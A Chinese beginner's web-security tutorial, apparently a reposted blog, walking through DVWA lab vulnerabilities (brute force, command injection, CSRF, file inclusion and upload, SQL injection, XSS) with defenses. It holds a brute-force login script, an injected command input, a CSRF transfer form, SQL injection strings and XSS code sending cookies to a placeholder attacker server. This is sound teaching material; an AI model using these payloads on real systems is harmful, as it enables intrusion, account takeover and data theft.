Web安全入门学习

前言

    最近在公司做Linux下的PHP开发,所以乘此机会学习了下Web安全,了解了常见的Web安全漏洞,以及对应的防御方法(使用DVWA进行学习)。

暴力破解

场景

    在类似用户登陆界面,如果系统没有限制用户的尝试次数,且没有验证码的情况下,就存在该漏洞

利用方法
import requests

URL = r'http://192.168.56.101/DVWA/vulnerabilities/brute/';#破解地址
cookies = dict(security='medium', PHPSESSID='4sijad6qd225aai8ha02tr82e3')#cookie设置

users = ("root","system","admin");#用户库
pwds = ("123123","123456","password","root");#密码库

arguments = {"username":"","password":"","Login":"Login"};#构造请求参数

for user in users:
    for pwd in pwds:
        arguments['username'] = user;
        arguments['password'] = pwd;

        r = requests.get(URL,arguments,cookies=cookies);

        if r.text.find("Username and/or password incorrect.") == -1:#判断是否成功破解
            print(user,pwd);
            exit(0);

print("defeat");
防御方法

    添加验证码,限制尝试次数。

命令注入

场景

    web服务器接受用户提交的数据,作为系统命令或程序的参数,这种情况下就会容易造成命令注入。

利用方法

    传入参数,构造另一个命令,比如web程序接受一个ip地址作为ping命令的参数,则我们可以传入'127.0.0.1 | dir',则dir会执行。

防御方法

    使用白名单。严格限制用户的输入,比如你想要一个ip地址,则必须在服务端验证用户输入的是否是一个ip地址, 永远不要相信用户提交的数据

CSRF

场景

    在一个转账网站下,存在两个用户,用户A构造一个恶意网站给用户B,用户B单击后,自己账号中的钱全部转给了用户A。

利用方法
<form action="转账的URL" method='XX'>
    <input type='hidden' name='username' value='hacker'>
    <input type='hidden' name='money' value='10000'>
    <input type="submie">
</form>
防御方法

    添加csrf_token、加用户表示确认的信息(验证码、密码)

文件包含

场景

    程序员在编写PHP服务端代码时,为了代码复用,将公用代码写成另一个文件,然后include进需要使用的代码。如果用户能控制include 的参数,则会产生文件包含漏洞

利用方法

    include 的参数可控,且PHP开启allow_url_include,则我们可以让被攻击的Web服务器执行webshell(注意:文件名以txt结尾,如果是服务端脚本文件的话,则脚本会在我们的服务器上执行,否则在被攻击服务器上执行),如果不能进行url包含,则我们可以结合文件上传漏洞执行webshell。

防御方法

    关闭远程url包含,且include的参数设置用白名单。

文件上传

场景

    网站有上传文件的功能,如果没做好相应的防范措施,则我们可以上传webshell

利用方法

    如果没有限制上传文件的格式,则我们直接上传webshell。如果服务器检查了文件的格式,则我们可以抓包,然后修改数据包中,文件格式为合法格式。如果服务器对上传的文件进行了内容检查,则我们可以 copy test.img/b + test.txt/a test1.img 生成一个包含代码的图片上传,然后利用文件包含漏洞执行webshell

防御方法

    对上传的文件进行相应的编码,不给与执行权限

SQL回显注入

场景

    Web服务器将sql执行的结果返回给用户(包括sql执行的错误信息)。且没有对用户输入的数据进行相应的处理,直接构造动态sql。则多半会存在SQL回显注入。则用户可以构造恶意数据,获得数据库中的信息。

利用方法

    由于服务器会显示SQL执行的结果(包括sql执行的错误信息),则我们可以利用order by 与 union select 猜解字段数,利用 select user(),database() 获得当先用户名与数据库名, 然后通过

select table_name from information_schema.tables where table_schema='database name'

获得表名

通过

select column_name from information_schema.columns where table_name='table name'

获得字段名
得到表名与字段名之后,我们就可以查询数据库中的信息了。

防御方法

    严格限制用户的输入,在服务端进行检查,比如我们想获得一个类型为数字的id,则我们最好在服务端进行判断是否为数字,防止用户提交恶意的数据。

SQL盲注

场景

    用户向Web服务器提交查询,服务器只会返回‘真’或‘假’,且web服务器为对用户输入的数据没有进行检查,动态构造sql语句,则多半会存在SQL盲注。则用户可以构造恶意数据,获得数据库中的信息。

利用方法

    由于服务器只会返回真或假,则我们可以利用 length,substr,ascii,sleep 函数获得用户名,数据库名,表名,字段名,表中对应的数据。
如服务器如下代码构造sql语句

$id = $_GET('id');
$sql = 'select * from test where id = '$id'';

则我们可以这样提交id: 1' and 这里为你想执行的sql -- '
获得数据库名字的方法输入
1' and ascii(substr(database(),1,1)) = 65 -- '
这里我们猜数据库名的第一个字符为65.如果服务器中确实存在id为1的数据,则如果我们猜测数据库的第一个字符为65则返回真,否则返回假。一直猜下去就会得到数据库名。

防御方法

    严格限制用户的输入,在服务端进行检查,比如我们想获得一个类型为数字的id,则我们最好在服务端进行判断是否为数字,防止用户提交恶意的数据。

XSS

分类

    XSS分存储型XSS,反射型XSS,DOM型XSS。存储型XSS,反射型XSS的区别是前一个恶意代码在数据库中,后一个在url中,相同点是输出都在HTTP响应中。反射型XSS,DOM型XSS的区别是一个输出在HTTP响应中,一个在DOM结点中, 相同点是:恶意代码都在URL中。

场景

    一个网站中,存在用户A与用户B,用户B构造XSS攻击,发送网址给用户A,用户A单击后,用户B就能以用户A的身份登陆网站。

利用方法

<script>恶意代码</script>,或<img src=x onerror="恶意代码">

获取cookie的方法为,黑客架设一个web服务器接受cookie,恶意代码为:

window.open('黑客服务器?cookie='+document.cookie);
//或
document.location='黑客服务器?cookie='+document.cookie;
防御方法

    对特殊字符进行编码(htmlspecialchars函数)

总结

    永远不要相信用户的输入,一定要进行合法性验证。且使用白名单而不是黑名单。

猜你喜欢

转载自www.cnblogs.com/r1ng0/p/9448181.html